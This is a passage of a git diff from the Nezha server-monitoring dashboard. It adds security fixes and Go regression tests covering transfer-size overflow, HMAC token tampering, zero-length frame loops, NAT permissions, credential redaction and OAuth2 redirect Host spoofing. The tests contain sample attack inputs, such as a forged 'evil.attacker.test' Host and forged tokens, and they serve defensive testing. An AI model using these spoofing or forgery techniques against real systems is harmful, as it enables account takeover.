(a negative is always less). The guarded reader must reject +// oversize raw u64 BEFORE narrowing. +func TestReadXferFixedHeader_RejectsOversizedUploadSize(t *testing.T) { + buf := make([]byte, 4+8) + copy(buf[:4], model.MCPFsXferMagicUploadHdr) + binary.BigEndian.PutUint64(buf[4:12], uint64(model.MCPFsTransferMaxSize+1)) + _, err := readXferFixedHeaderFromBytes(buf) + if err == nil { + t.Fatal("size > MCPFsTransferMaxSize must be rejected; otherwise int64 narrowing lets the upload through with a negative size") + } +} + +func TestReadXferFixedHeader_RejectsOverflowingUploadSize(t *testing.T) { + buf := make([]byte, 4+8) + copy(buf[:4], model.MCPFsXferMagicUploadHdr) + binary.BigEndian.PutUint64(buf[4:12], ^uint64(0)) + _, err := readXferFixedHeaderFromBytes(buf) + if err == nil { + t.Fatal("raw u64=MaxUint64 must be rejected before int64 cast wraps it to -1") + } +} + +func TestReadXferFixedHeader_AcceptsLegalUploadSize(t *testing.T) { + buf := make([]byte, 4+8) + copy(buf[:4], model.MCPFsXferMagicUploadHdr) + binary.BigEndian.PutUint64(buf[4:12], 1024) + hdr, err := readXferFixedHeaderFromBytes(buf) + if err != nil { + t.Fatalf("legal size must pass, got %v", err) + } + if hdr.Size != 1024 { + t.Fatalf("want size=1024, got %d", hdr.Size) + } +} + +func TestReadXferFixedHeader_RejectsOversizedDownloadSize(t *testing.T) { + buf := make([]byte, 4+8+32) + copy(buf[:4], model.MCPFsXferMagicDownloadHdr) + binary.BigEndian.PutUint64(buf[4:12], uint64(model.MCPFsTransferMaxSize+1)) + _, err := readXferFixedHeaderFromBytes(buf) + if err == nil { + t.Fatal("download size > MCPFsTransferMaxSize must be rejected") + } +} diff --git a/cmd/dashboard/controller/mcp_transfer_spool.go b/cmd/dashboard/controller/mcp_transfer_spool.go new file mode 100644 index 00000000..c55aa62a --- /dev/null +++ b/cmd/dashboard/controller/mcp_transfer_spool.go @@ -0,0 +1,44 @@ +package controller + +import ( + "io" + "os" + "runtime" +) + +type transferSpool struct { + f *os.File +} + +func newTransferSpool() (*transferSpool, error) { + f, err := os.CreateTemp("", "nz-mcp-xfer-*") + if err != nil { + return nil, err + } + // 提前 unlink，文件句柄关掉就回收磁盘；Windows 不支持就留到 Close 兜底。 + if runtime.GOOS != "windows" { + _ = os.Remove(f.Name()) + } + return &transferSpool{f: f}, nil +} + +func (s *transferSpool) Write(p []byte) (int, error) { return s.f.Write(p) } + +func (s *transferSpool) Read(p []byte) (int, error) { return s.f.Read(p) } + +func (s *transferSpool) Rewind() error { + _, err := s.f.Seek(0, io.SeekStart) + return err +} + +func (s *transferSpool) Close() { + if s.f == nil { + return + } + name := s.f.Name() + _ = s.f.Close() + if runtime.GOOS == "windows" { + _ = os.Remove(name) + } + s.f = nil +} diff --git a/cmd/dashboard/controller/mcp_transfer_token_hmac_test.go b/cmd/dashboard/controller/mcp_transfer_token_hmac_test.go new file mode 100644 index 00000000..77c0d789 --- /dev/null +++ b/cmd/dashboard/controller/mcp_transfer_token_hmac_test.go @@ -0,0 +1,75 @@ +package controller + +import ( + "strings" + "testing" + "time" + + "github.com/stretchr/testify/require" +) + +// A transfer token whose HMAC signature does not match the stored entry +// must be rejected at consume time. The signature is documented as +// "HMAC-SHA256 防篡改" (tamper-proof); if consume never verifies it, the +// guarantee is hollow. This test pins that the signature is actually +// checked: a stored entry under a token id with a forged/altered sig must +// not be consumable. +func TestConsumeTransferToken_RejectsTamperedSignature(t *testing.T) { + e := transferEntry{ + UserID: 1, + TokenID: 2, + ServerID: 3, + Path: "/srv/file", + Direction: transferDirDownload, + ExpiresAt: time.Now().Add(time.Minute), + } + tok, err := mintTransferToken(e) + require.NoError(t, err) + require.Contains(t, tok, ".", "token must carry an id.sig shape") + + // Flip the last hex nibble of the signature to forge a mismatching MAC + // while keeping the same random id portion. + idx := strings.LastIndex(tok, ".") + require.Greater(t, idx, 0) + id, sig := tok[:idx], tok[idx+1:] + last := sig[len(sig)-1] + var flipped byte + if last == '0' { + flipped = '1' + } else { + flipped = '0' + } + forged := id + "." + sig[:len(sig)-1] + string(flipped) + + // Re-store the entry under the forged token so the map lookup itself + // would succeed — only the HMAC check should reject it. + transferEntries.Store(forged, e) + t.Cleanup(func() { transferEntries.Delete(forged) }) + + got, err := consumeTransferToken(forged, transferDirDownload) + require.Error(t, err, "tampered-signature token must be rejected") + require.Nil(t, got) +} + +// A correctly minted token must still consume successfully and be single-use. +func TestConsumeTransferToken_ValidSignatureRoundTrips(t *testing.T) { + e := transferEntry{ + UserID: 10, + TokenID: 20, + ServerID: 30, + Path: "/srv/other", + Direction: transferDirUpload, + ExpiresAt: time.Now().Add(time.Minute), + } + tok, err := mintTransferToken(e) + require.NoError(t, err) + + got, err := consumeTransferToken(tok, transferDirUpload) + require.NoError(t, err) + require.NotNil(t, got) + require.Equal(t, e.Path, got.Path) + + // single-use: second consume must fail. + _, err = consumeTransferToken(tok, transferDirUpload) + require.Error(t, err) +} diff --git a/cmd/dashboard/controller/mcp_transfer_upload_args_test.go b/cmd/dashboard/controller/mcp_transfer_upload_args_test.go new file mode 100644 index 00000000..27eb3ae6 --- /dev/null +++ b/cmd/dashboard/controller/mcp_transfer_upload_args_test.go @@ -0,0 +1,94 @@ +package controller + +import ( + "bytes" + "encoding/json" + "io" + "net/http" + "net/http/httptest" + "strings" + "sync" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" +) + +// fs.upload_url 必须把 agent 已经支持的上传语义（mode / create_dirs / +// if_match_sha256）从 MCP tool arguments 透传到 agent 的 FsTransferRequest。 +// 当前实现复用了 fs.download_url 的 fsDownloadURLArgs，只解析 server_id / +// path / ttl_seconds，导致这些字段被静默丢弃，跨仓 wire model + agent 能力 +// 与 MCP 工具调用面失联。 +func TestMintFsUploadURL_PropagatesModeCreateDirsAndIfMatchToAgent(t *testing.T) { + var captured *model.FsTransferRequest + var mu sync.Mutex + agent := func(req *model.FsTransferRequest, stream io.ReadWriteCloser) ([]byte, error) { + mu.Lock() + copyReq := *req + captured = ©Req + mu.Unlock() + got, err := xferAgentUploadRead(req, stream) + if err != nil { + return got, err + } + return got, xferAgentUploadAck(stream, uint64(len(got))) + } + ts, tok, cleanup := setupTransferTest(t, agent) + defer cleanup() + + url := mintFsUploadURLWithOptions(t, ts, tok, "/srv/upload.bin", map[string]any{ + "mode": "0640", + "create_dirs": true, + "if_match_sha256": strings.Repeat("a", 64), + }) + + upResp, err := http.Post(url, "application/octet-stream", bytes.NewReader([]byte("hello"))) + require.NoError(t, err) + defer upResp.Body.Close() + require.Equal(t, http.StatusOK, upResp.StatusCode) + + mu.Lock() + defer mu.Unlock() + require.NotNil(t, captured, "agent must have received the FsTransferRequest") + require.Equal(t, "0640", captured.Mode, + "fs.upload_url must forward mode to the agent FsTransferRequest") + require.True(t, captured.CreateDirs, + "fs.upload_url must forward create_dirs to the agent FsTransferRequest") + require.Equal(t, strings.Repeat("a", 64), captured.IfMatchSHA256, + "fs.upload_url must forward if_match_sha256 to the agent FsTransferRequest") +} + +func mintFsUploadURLWithOptions(t *testing.T, ts *httptest.Server, tok, path string, extra map[string]any) string { + t.Helper() + args := map[string]any{ + "server_id": 7, + "path": path, + "ttl_seconds": 60, + } + for k, v := range extra { + args[k] = v + } + body := map[string]any{ + "jsonrpc": "2.0", "id": 1, "method": "tools/call", + "params": map[string]any{ + "name": "fs.upload_url", + "arguments": args, + }, + } + b, _ := json.Marshal(body) + req, _ := http.NewRequest("POST", ts.URL+"/mcp", bytes.NewReader(b)) + req.Header.Set("Authorization", "Bearer "+tok) + req.Header.Set("Content-Type", "application/json") + resp, err := http.DefaultClient.Do(req) + require.NoError(t, err) + defer resp.Body.Close() + out, _ := io.ReadAll(resp.Body) + var env map[string]any + require.NoError(t, json.Unmarshal(out, &env)) + res, _ := env["result"].(map[string]any) + struc, _ := res["structuredContent"].(map[string]any) + url, _ := struc["url"].(string) + require.NotEmptyf(t, url, "fs.upload_url did not return url: %v", env) + return ts.URL + url[strings.Index(url, "/mcp/"):] +} diff --git a/cmd/dashboard/controller/mcp_transfer_zero_chunk_test.go b/cmd/dashboard/controller/mcp_transfer_zero_chunk_test.go new file mode 100644 index 00000000..205cace6 --- /dev/null +++ b/cmd/dashboard/controller/mcp_transfer_zero_chunk_test.go @@ -0,0 +1,78 @@ +package controller + +import ( + "bytes" + "net/http" + "testing" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" +) + +// writeZeroChunkFrame emits a well-formed NZTC chunk header that declares a +// zero-length payload. A malicious or buggy agent can emit an unbounded run of +// these: each frame is syntactically valid but carries no data, so a relay +// that treats them as no-op `continue` never makes progress toward `remaining` +// and never reaches the final NZTO frame — pinning a dashboard goroutine, gRPC +// stream and spool tmpfile until the client disconnects. +func writeZeroChunkFrame(out *bytes.Buffer) { + writeChunkFrame(out, nil) +} + +// A download that declares size > 0 but then streams zero-length NZTC frames +// must be rejected as a protocol violation, not relayed forever. The relay +// must not accept a zero-length data frame while it still expects bytes. +func TestRelayDownloadFrames_RejectsZeroLengthDataFrames(t *testing.T) { + const size = int64(64) + + var src bytes.Buffer + // A burst of zero-length chunk frames. With the buggy `continue`, the + // loop consumes all of these without decrementing `remaining`; once the + // buffer drains it hits EOF on the next ReadFull and returns a *bad + // gateway* error — but against a real (blocking) stream the same code + // path loops forever. We assert the relay rejects the zero-length frame + // the moment it sees one, before draining a long run of them. + for i := 0; i < 1000; i++ { + writeZeroChunkFrame(&src) + } + // Even if a valid chunk + final frame follow, the relay must already have + // failed on the first zero-length data frame. + writeChunkFrame(&src, bytes.Repeat([]byte{'x'}, int(size))) + writeOKFrame(&src, uint64(size)) + + stream := &fixedSizeFrameStream{buf: src} + + sink := newCountingDiscardWriter() + gin.SetMode(gin.TestMode) + c, _ := gin.CreateTestContext(sink) + + err := relayDownloadFrames(c, stream, size) + if err == nil { + t.Fatalf("relayDownloadFrames accepted a stream of zero-length NZTC frames; a zero-length data frame while remaining>0 must be rejected to avoid an unbounded relay loop") + } + if sink.status == 0 || sink.status == http.StatusOK { + t.Fatalf("a rejected transfer must set a non-200 status, got %d", sink.status) + } +} + +// Sanity: a single zero-length leading frame is just as invalid; the relay +// must not silently swallow it as progress. +func TestRelayDownloadFrames_SingleZeroLengthFrameRejected(t *testing.T) { + const size = int64(8) + + var src bytes.Buffer + writeZeroChunkFrame(&src) + writeChunkFrame(&src, bytes.Repeat([]byte{'y'}, int(size))) + writeOKFrame(&src, uint64(size)) + + stream := &fixedSizeFrameStream{buf: src} + sink := newCountingDiscardWriter() + gin.SetMode(gin.TestMode) + c, _ := gin.CreateTestContext(sink) + + if err := relayDownloadFrames(c, stream, size); err == nil { + t.Fatalf("relayDownloadFrames must reject a zero-length data frame while remaining>0") + } + _ = model.MCPFsXferMagicChunk +} diff --git a/cmd/dashboard/controller/nat.go b/cmd/dashboard/controller/nat.go index a6d6e707..519ca446 100644 --- a/cmd/dashboard/controller/nat.go +++ b/cmd/dashboard/controller/nat.go @@ -53,10 +53,19 @@ func createNAT(c *gin.Context) (uint64, error) { return 0, err } - if server, ok := singleton.ServerShared.Get(nf.ServerID); ok { - if !server.HasPermission(c) { - return 0, singleton.Localizer.ErrorT("permission denied") - } + if nf.ServerID == 0 { + return 0, singleton.Localizer.ErrorT("have invalid server id") + } + server, ok := singleton.ServerShared.Get(nf.ServerID) + if !ok { + return 0, singleton.Localizer.ErrorT("have invalid server id") + } + if !server.HasPermission(c) { + return 0, singleton.Localizer.ErrorT("permission denied") + } + + if singleton.IsReservedDashboardHost(nf.Domain) { + return 0, singleton.Localizer.ErrorT("permission denied") } uid := getUid(c) @@ -101,10 +110,19 @@ func updateNAT(c *gin.Context) (any, error) { return nil, err } - if server, ok := singleton.ServerShared.Get(nf.ServerID); ok { - if !server.HasPermission(c) { - return nil, singleton.Localizer.ErrorT("permission denied") - } + if nf.ServerID == 0 { + return nil, singleton.Localizer.ErrorT("have invalid server id") + } + server, ok := singleton.ServerShared.Get(nf.ServerID) + if !ok { + return nil, singleton.Localizer.ErrorT("have invalid server id") + } + if !server.HasPermission(c) { + return nil, singleton.Localizer.ErrorT("permission denied") + } + + if singleton.IsReservedDashboardHost(nf.Domain) { + return nil, singleton.Localizer.ErrorT("permission denied") } var n model.NAT diff --git a/cmd/dashboard/controller/notification.go b/cmd/dashboard/controller/notification.go index a40a7062..35aaf1d0 100644 --- a/cmd/dashboard/controller/notification.go +++ b/cmd/dashboard/controller/notification.go @@ -29,6 +29,14 @@ func listNotification(c *gin.Context) ([]*model.Notification, error) { if err := copier.Copy(¬ifications, &slist); err != nil { return nil, err } + + // 列表端点不回显写入态凭据：notifications 是 copier 复制出的副本，置零安全， + // 不影响 singleton 内原始数据。 + for _, n := range notifications { + n.URL = "" + n.RequestHeader = "" + n.RequestBody = "" + } return notifications, nil } @@ -118,15 +126,24 @@ func updateNotification(c *gin.Context) (any, error) { n.Name = nf.Name n.RequestMethod = nf.RequestMethod n.RequestType = nf.RequestType - n.RequestHeader = nf.RequestHeader - n.RequestBody = nf.RequestBody - n.URL = nf.URL n.Type = nf.Type verifyTLS := nf.VerifyTLS n.VerifyTLS = &verifyTLS formatMetricUnits := nf.FormatMetricUnits n.FormatMetricUnits = &formatMetricUnits + + // 凭据在列表接口已脱敏，前端无法回填；空值视为"不修改"，保留旧值避免误清空。 + if nf.URL != "" { + n.URL = nf.URL + } + if nf.RequestHeader != "" { + n.RequestHeader = nf.RequestHeader + } + if nf.RequestBody != "" { + n.RequestBody = nf.RequestBody + } + ns := model.NotificationServerBundle{ Notification: &n, Server: nil, diff --git a/cmd/dashboard/controller/notification_group.go b/cmd/dashboard/controller/notification_group.go index 101cc324..677851e1 100644 --- a/cmd/dashboard/controller/notification_group.go +++ b/cmd/dashboard/controller/notification_group.go @@ -39,8 +39,12 @@ func listNotificationGroup(c *gin.Context) ([]*model.NotificationGroupResponseIt groupNotifications[n.NotificationGroupID] = append(groupNotifications[n.NotificationGroupID], n.NotificationID) } + isAdmin := callerIsAdmin(c) ngRes := make([]*model.NotificationGroupResponseItem, 0, len(ng)) for _, n := range ng { + if !isAdmin && !n.HasPermission(c) { + continue + } ngRes = append(ngRes, &model.NotificationGroupResponseItem{ Group: n, Notifications: groupNotifications[n.ID], diff --git a/cmd/dashboard/controller/oauth2.go b/cmd/dashboard/controller/oauth2.go index acb02188..3cb37632 100644 --- a/cmd/dashboard/controller/oauth2.go +++ b/cmd/dashboard/controller/oauth2.go @@ -19,13 +19,29 @@ import ( "github.com/nezhahq/nezha/service/singleton" ) +// GHSA-9rc6-8cjv-rcvx: the OAuth2 callback URL is sent to the identity +// provider and is where the authorization code lands. Deriving it from the +// raw Host header lets an attacker who can reach this handler with a forged +// Host (or a provider with loose redirect-URI matching) divert a victim's +// code to their own origin and bind the victim's identity. A request Host is +// trusted only when it is an operator-declared dashboard host (the same +// allowlist that guards NAT routing). Otherwise the redirect is pinned to the +// operator-declared DashboardHost. Empty DashboardHost intentionally retains +// dynamic/multi-domain deployments by passing through request Host; those +// deployments must validate Host at their trusted proxy and register exact +// redirect URIs at the OAuth provider. GHSA-rf68-8gjr-36q7 documents this +// configuration boundary and must be updated if this compatibility changes. func getRedirectURL(c *gin.Context) string { scheme := "http://" referer := c.Request.Referer() if forwardedProto := c.Request.Header.Get("X-Forwarded-Proto"); forwardedProto == "https" || strings.HasPrefix(referer, "https://") { scheme = "https://" } - return scheme + c.Request.Host + "/api/v1/oauth2/callback" + host := c.Request.Host + if !singleton.IsReservedDashboardHost(host) && singleton.Conf != nil && singleton.Conf.DashboardHost != "" { + host = singleton.Conf.DashboardHost + } + return scheme + host + "/api/v1/oauth2/callback" } // @Summary Get Oauth2 Redirect URL @@ -66,12 +82,21 @@ func oauth2redirect(c *gin.Context) (*model.Oauth2LoginResponse, error) { }, cache.DefaultExpiration) url := o2conf.AuthCodeURL(state, oauth2.AccessTypeOnline) - // CodeQL go/cookie-secure-not-set: 根据请求协议动态设置 Secure 属性，避免 HTTP 环境下 Cookie 无法使用 - c.SetCookie("nz-o2s", stateKey, 60*5, "", "", c.Request.URL.Scheme == "https" || c.Request.TLS != nil, false) + writeOauth2StateCookie(c, stateKey) return &model.Oauth2LoginResponse{Redirect: url}, nil } +// writeOauth2StateCookie sets the nz-o2s cookie used to authenticate the +// OAuth2 callback. Secure is set when the request arrives over HTTPS; +// HttpOnly is enabled unconditionally — the frontend does not read this +// cookie, only the dashboard's callback handler does, so HTTP-only access +// is strictly an XSS-hardening win. +func writeOauth2StateCookie(c *gin.Context, stateKey string) { + secure := c.Request.URL.Scheme == "https" || c.Request.TLS != nil + c.SetCookie("nz-o2s", stateKey, 60*5, "", "", secure, true) +} + // @Summary Unbind Oauth2 // @Description Unbind Oauth2 // @Accept json @@ -178,15 +203,21 @@ func oauth2callback(jwtConfig *jwt.GinJWTMiddleware) func(c *gin.Context) (any, } } - tokenString, _, err := jwtConfig.TokenGenerator(map[string]interface{}{ - "user_id": fmt.Sprintf("%d", bind.UserID), - "ip": realip, - }) + var bindUser model.User + if err := singleton.DB.First(&bindUser, bind.UserID).Error; err != nil { + return nil, newGormError("%v", err) + } + claims, err := issueJWTSession(c, &bindUser, singleton.Conf.JWTTimeout) + if err != nil { + return nil, err + } + tokenString, _, err := jwtConfig.TokenGenerator(claims) if err != nil { return nil, err } jwtConfig.SetCookie(c, tokenString) + setCSRFCookie(c) c.Redirect(http.StatusFound, utils.IfOr(state.Action == model.RTypeBind, "/dashboard/profile?oauth2=true", "/dashboard/login?oauth2=true")) return nil, errNoop diff --git a/cmd/dashboard/controller/oauth2_csrf_test.go b/cmd/dashboard/controller/oauth2_csrf_test.go new file mode 100644 index 00000000..2c034c98 --- /dev/null +++ b/cmd/dashboard/controller/oauth2_csrf_test.go @@ -0,0 +1,29 @@ +package controller + +import ( + "net/http/httptest" + "strings" + "testing" + + "github.com/gin-gonic/gin" +) + +// setCSRFCookie must mint a readable nz-csrf cookie; OAuth2 callback relies on +// it so OAuth-only sessions can satisfy the double-submit CSRF gate. +func TestSetCSRFCookieIssuesReadableToken(t *testing.T) { + gin.SetMode(gin.TestMode) + withCSRFSecret(t, "test-jwt-secret") + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("GET", "/", nil) + + setCSRFCookie(c) + + setCookie := w.Header().Get("Set-Cookie") + if !strings.Contains(setCookie, csrfCookieName+"=") { + t.Fatalf("expected %s cookie, got %q", csrfCookieName, setCookie) + } + if strings.Contains(strings.ToLower(setCookie), "httponly") { + t.Fatal("CSRF cookie must be JS-readable (not HttpOnly) for the SPA to mirror it") + } +} diff --git a/cmd/dashboard/controller/oauth2_test.go b/cmd/dashboard/controller/oauth2_test.go new file mode 100644 index 00000000..ee972260 --- /dev/null +++ b/cmd/dashboard/controller/oauth2_test.go @@ -0,0 +1,278 @@ +package controller + +import ( + "fmt" + "net/http" + "net/http/httptest" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/patrickmn/go-cache" + "github.com/stretchr/testify/require" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" + "github.com/nezhahq/nezha/service/singleton" +) + +// OAuth2 callback 测试核心安全语义：state CSRF、provider 校验、解绑权限。 +// +// 这些测试用 verifyState 的私有路径直接构造场景，因为 callback 的完整链路涉及 +// 真实 IdP HTTP 调用；safety-critical 的 state 校验本身可以单测。 + +func setupOAuth2Test(t *testing.T) func() { + t.Helper() + originalDB := singleton.DB + originalConf := singleton.Conf + originalCache := singleton.Cache + originalLocalizer := singleton.Localizer + if singleton.Localizer == nil { + singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) + } + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + require.NoError(t, err) + require.NoError(t, db.AutoMigrate(&model.User{}, &model.Oauth2Bind{}, &model.WAF{})) + singleton.DB = db + singleton.Conf = &singleton.ConfigClass{Config: &model.Config{ + Oauth2: map[string]*model.Oauth2Config{ + "github": {ClientID: "x", ClientSecret: "y"}, + }, + }} + singleton.Cache = cache.New(time.Minute, time.Minute) + + return func() { + singleton.DB = originalDB + singleton.Conf = originalConf + singleton.Cache = originalCache + singleton.Localizer = originalLocalizer + } +} + +func newOAuth2Ctx(t *testing.T) (*gin.Context, *httptest.ResponseRecorder) { + t.Helper() + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("GET", "/oauth2/callback", nil) + c.Set(model.CtxKeyRealIPStr, "1.2.3.4") + return c, w +} + +func TestOAuth2_VerifyState_RejectsMissingCookie(t *testing.T) { + defer setupOAuth2Test(t)() + c, _ := newOAuth2Ctx(t) + + _, err := verifyState(c, "any-state-value") + require.Error(t, err, "missing nz-o2s cookie must be rejected") +} + +func TestOAuth2_VerifyState_RejectsUnknownCookie(t *testing.T) { + defer setupOAuth2Test(t)() + c, _ := newOAuth2Ctx(t) + c.Request.AddCookie(&http.Cookie{Name: "nz-o2s", Value: "never-issued-key"}) + + _, err := verifyState(c, "any-state") + require.Error(t, err, "unknown state key (no cache entry) must be rejected") +} + +func TestOAuth2_VerifyState_RejectsStateMismatch(t *testing.T) { + defer setupOAuth2Test(t)() + c, _ := newOAuth2Ctx(t) + + stateKey := "k-1" + singleton.Cache.Set( + fmt.Sprintf("%s%s", model.CacheKeyOauth2State, stateKey), + &model.Oauth2State{State: "real-state", Provider: "github"}, + cache.DefaultExpiration, + ) + c.Request.AddCookie(&http.Cookie{Name: "nz-o2s", Value: stateKey}) + + _, err := verifyState(c, "forged-state") + require.Error(t, err, "attacker-supplied state that differs from cached must be rejected (CSRF defense)") +} + +func TestOAuth2_VerifyState_HappyPath(t *testing.T) { + defer setupOAuth2Test(t)() + c, _ := newOAuth2Ctx(t) + + stateKey := "k-ok" + singleton.Cache.Set( + fmt.Sprintf("%s%s", model.CacheKeyOauth2State, stateKey), + &model.Oauth2State{State: "good-state", Provider: "github", Action: model.RTypeBind}, + cache.DefaultExpiration, + ) + c.Request.AddCookie(&http.Cookie{Name: "nz-o2s", Value: stateKey}) + + st, err := verifyState(c, "good-state") + require.NoError(t, err) + require.Equal(t, "github", st.Provider) + require.Equal(t, model.RTypeBind, st.Action) +} + +// GHSA-9rc6-8cjv-rcvx: getRedirectURL must not echo an attacker-controlled +// Host header into the OAuth2 callback URL. When DashboardHost is set, only a +// Host the operator declared (DashboardHost / InstallHost / ListenHost / +// ReservedHosts) is trusted and any other Host is pinned to DashboardHost. When +// DashboardHost is empty the operator has not pinned a dashboard origin, so the +// request Host is passed through. + +func setRedirectHostConf(t *testing.T, dashboardHost, installHost, reservedHosts string) { + t.Helper() + prev := singleton.Conf + singleton.Conf = &singleton.ConfigClass{Config: &model.Config{ + ConfigDashboard: model.ConfigDashboard{ + DashboardHost: dashboardHost, + InstallHost: installHost, + ReservedHosts: reservedHosts, + }, + }} + t.Cleanup(func() { singleton.Conf = prev }) +} + +func TestGetRedirectURL_RejectsForgedHostFallsBackToDashboardHost(t *testing.T) { + setRedirectHostConf(t, "panel.example.com", "", "") + c, _ := newOAuth2Ctx(t) + c.Request.Host = "evil.attacker.test" + + got := getRedirectURL(c) + require.Equal(t, "http://panel.example.com/api/v1/oauth2/callback", got, + "a forged Host must be ignored in favour of the configured DashboardHost") +} + +func TestGetRedirectURL_EmptyDashboardHostPassesThroughRequestHost(t *testing.T) { + setRedirectHostConf(t, "", "agent.example.com", "") + c, _ := newOAuth2Ctx(t) + c.Request.Host = "panel.example.com" + + got := getRedirectURL(c) + require.Equal(t, "http://panel.example.com/api/v1/oauth2/callback", got, + "when DashboardHost is empty the request Host must be passed through, decoupled from InstallHost") +} + +func TestGetRedirectURL_TrustsDashboardHost(t *testing.T) { + setRedirectHostConf(t, "panel.example.com", "", "") + c, _ := newOAuth2Ctx(t) + c.Request.Host = "panel.example.com" + + got := getRedirectURL(c) + require.Equal(t, "http://panel.example.com/api/v1/oauth2/callback", got, + "the declared DashboardHost must be trusted verbatim") +} + +func TestGetRedirectURL_TrustsReservedHostForMultiDomain(t *testing.T) { + setRedirectHostConf(t, "panel.example.com", "", "alt.example.com,panel2.example.com") + c, _ := newOAuth2Ctx(t) + c.Request.Host = "panel2.example.com" + + got := getRedirectURL(c) + require.Equal(t, "http://panel2.example.com/api/v1/oauth2/callback", got, + "a Host listed in ReservedHosts must be trusted so multi-domain deployments keep working") +} + +func TestGetRedirectURL_HonoursForwardedProtoOnTrustedHost(t *testing.T) { + setRedirectHostConf(t, "panel.example.com", "", "") + c, _ := newOAuth2Ctx(t) + c.Request.Host = "panel.example.com" + c.Request.Header.Set("X-Forwarded-Proto", "https") + + got := getRedirectURL(c) + require.Equal(t, "https://panel.example.com/api/v1/oauth2/callback", got, + "https scheme must still be derived for reverse-proxy TLS termination") +} + +func TestGetRedirectURL_ForgedHostCannotForceHTTPSOrigin(t *testing.T) { + setRedirectHostConf(t, "panel.example.com", "", "") + c, _ := newOAuth2Ctx(t) + c.Request.Host = "evil.attacker.test" + c.Request.Header.Set("X-Forwarded-Proto", "https") + + got := getRedirectURL(c) + require.Equal(t, "https://panel.example.com/api/v1/oauth2/callback", got, + "even with an https hint the host must collapse to DashboardHost, never the forged origin") +} + +func TestOAuth2_Unbind_UnknownProviderRejected(t *testing.T) { + defer setupOAuth2Test(t)() + + c, _ := newOAuth2Ctx(t) + c.Params = gin.Params{{Key: "provider", Value: "unknown-provider"}} + c.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 1}}) + + _, err := unbindOauth2(c) + require.Error(t, err) + require.Contains(t, err.Error(), "provider not found") +} + +func TestOAuth2_Unbind_BlocksLastBindWhenRejectPassword(t *testing.T) { + defer setupOAuth2Test(t)() + + require.NoError(t, singleton.DB.Create(&model.Oauth2Bind{ + UserID: 42, + Provider: "github", + OpenID: "openid-only-one", + }).Error) + + c, _ := newOAuth2Ctx(t) + c.Params = gin.Params{{Key: "provider", Value: "github"}} + c.Set(model.CtxKeyAuthorizedUser, &model.User{ + Common: model.Common{ID: 42}, + RejectPassword: true, + }) + + _, err := unbindOauth2(c) + require.Error(t, err, + "user with reject_password=true must NOT be able to unbind their last OAuth2 provider (would lock them out)") +} + +func TestOAuth2_Unbind_AllowsWhenPasswordLoginPossible(t *testing.T) { + defer setupOAuth2Test(t)() + + require.NoError(t, singleton.DB.Create(&model.Oauth2Bind{ + UserID: 42, + Provider: "github", + OpenID: "openid-1", + }).Error) + + c, _ := newOAuth2Ctx(t) + c.Params = gin.Params{{Key: "provider", Value: "github"}} + c.Set(model.CtxKeyAuthorizedUser, &model.User{ + Common: model.Common{ID: 42}, + RejectPassword: false, + }) + + _, err := unbindOauth2(c) + require.NoError(t, err) + + var cnt int64 + require.NoError(t, singleton.DB.Model(&model.Oauth2Bind{}). + Where("user_id = ? AND provider = ?", 42, "github").Count(&cnt).Error) + require.Equal(t, int64(0), cnt, "binding must be deleted") +} + +func TestOAuth2_Unbind_OnlyAffectsOwnBindings(t *testing.T) { + defer setupOAuth2Test(t)() + + require.NoError(t, singleton.DB.Create(&model.Oauth2Bind{ + UserID: 42, Provider: "github", OpenID: "mine", + }).Error) + require.NoError(t, singleton.DB.Create(&model.Oauth2Bind{ + UserID: 999, Provider: "github", OpenID: "victim", + }).Error) + + c, _ := newOAuth2Ctx(t) + c.Params = gin.Params{{Key: "provider", Value: "github"}} + c.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 42}}) + + _, err := unbindOauth2(c) + require.NoError(t, err) + + var victim model.Oauth2Bind + require.NoError(t, singleton.DB. + Where("user_id = ? AND provider = ?", 999, "github"). + First(&victim).Error, + "another user's binding must not be touched") + require.Equal(t, "victim", victim.OpenID) +} diff --git a/cmd/dashboard/controller/pat_whitelist_view_test.go b/cmd/dashboard/controller/pat_whitelist_view_test.go new file mode 100644 index 00000000..a823303d --- /dev/null +++ b/cmd/dashboard/controller/pat_whitelist_view_test.go @@ -0,0 +1,63 @@ +package controller + +import ( + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" +) + +// L1 regression: patHasServerWhitelist used to type-assert specifically to +// *model.APIToken, so any other APITokenAccessor that ALSO implements +// CanAccessServer/ServerIDs (test stubs, future wrappers) was silently +// treated as "not limited" by the cover-fanout guard. The check must use +// the APITokenWhitelistView interface instead. +type viewOnlyPAT struct { + ids []uint64 +} + +func (v *viewOnlyPAT) CanAccessServer(id uint64) bool { + for _, x := range v.ids { + if x == id { + return true + } + } + return false +} + +func (v *viewOnlyPAT) ServerIDs() []uint64 { return v.ids } + +func TestPatHasServerWhitelist_RecognisesNonAPITokenWhitelistViewImplementor(t *testing.T) { + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(model.CtxKeyAPIToken, &viewOnlyPAT{ids: []uint64{1}}) + + if !patHasServerWhitelist(ctx) { + t.Fatal("any APITokenWhitelistView implementor with non-empty ServerIDs must be flagged as limited; otherwise non-*model.APIToken wrappers silently escape the cover-fanout guard") + } +} + +func TestPatHasServerWhitelist_EmptyWhitelistViaInterfaceCountsAsUnlimited(t *testing.T) { + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(model.CtxKeyAPIToken, &viewOnlyPAT{ids: nil}) + + if patHasServerWhitelist(ctx) { + t.Fatal("empty whitelist = unlimited (existing semantics); must continue to return false") + } +} + +func TestPatHasServerWhitelist_NoPATReturnsFalse(t *testing.T) { + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + if patHasServerWhitelist(ctx) { + t.Fatal("JWT requests (no PAT) must return false — there's 